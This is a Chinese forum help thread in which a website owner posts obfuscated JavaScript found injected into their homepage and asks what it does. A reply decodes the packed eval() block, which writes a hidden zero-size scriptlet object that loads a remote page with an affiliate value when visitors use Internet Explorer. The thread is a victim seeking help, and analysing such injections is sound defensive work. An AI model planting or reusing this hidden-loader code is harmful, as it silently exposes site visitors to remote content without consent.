我的网站首页文件不知不觉给加上了这段代码,郁闷中。可能是给挂马了吧,但不知这段代码是什么意思了请高手赐教了,还有一个问题是,这代码是如何加上的??????   急  。
<script type="text/javascript">
var browser = new Object();
function getBrowser() {
var b = navigator.userAgent.toLowerCase();
browser = {
safari: /webkit/.test(b),
opera: /opera/.test(b),
ie6: /msie 6/.test(b) && !/opera/.test(b),
ie7: /msie 7/.test(b) && !/opera/.test(b),
msie: /msie/.test(b) && !/opera/.test(b),
mozilla: /mozilla/.test(b) && !/(compatible|webkit)/.test(b)
};
}
getBrowser();document.write(browser.msie);
</script>

解决方案 »

  1.   

      safari: /webkit/.test(b),
            opera: /opera/.test(b),
            ie6: /msie 6/.test(b) && !/opera/.test(b),
            ie7: /msie 7/.test(b) && !/opera/.test(b),
            msie: /msie/.test(b) && !/opera/.test(b),
            mozilla: /mozilla/.test(b) && !/(compatible|webkit)/.test(b)
        };
    全是浏览器类型啊!
      

  2.   

    不好意思,贴错了,应是这个
    <script type="text/javascript">
    var browser = new Object();
    function getBrowser() {
    var b = navigator.userAgent.toLowerCase();
    browser = {
    safari: /webkit/.test(b),
    opera: /opera/.test(b),
    ie6: /msie 6/.test(b) && !/opera/.test(b),
    ie7: /msie 7/.test(b) && !/opera/.test(b),
    msie: /msie/.test(b) && !/opera/.test(b),
    mozilla: /mozilla/.test(b) && !/(compatible|webkit)/.test(b)
    };
    }
    getBrowser();
    var urlVar = "http://www.688365.com?affiliate=365_035345"; 
    eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2(3.4){5.7(\'<1 8="9:a" b="c\\/d-e" f="g://6.h/i/j.k?\'+l+\'" m=0 n=0><\\/1>\')}',24,24,'|object|if|browser|msie|document||write|style|border|0px|type|text|x|scriptlet|data|http|cn|showmyweb|closepop2|html|urlVar|width|height'.split('|'),0,{}))
    </script>
      

  3.   

    下面那个eval那句是什么意思啊,是不是给挂马了
      

  4.   

    if (browser.msie) {
        document.write('<object style="border:0px" type="text\/x-scriptlet" data="http://6.cn/showmyweb/closepop2.html?' + urlVar + '" width=0 height=0><\/object>')
    }
    eval解析后的代码是
    如果 ie执行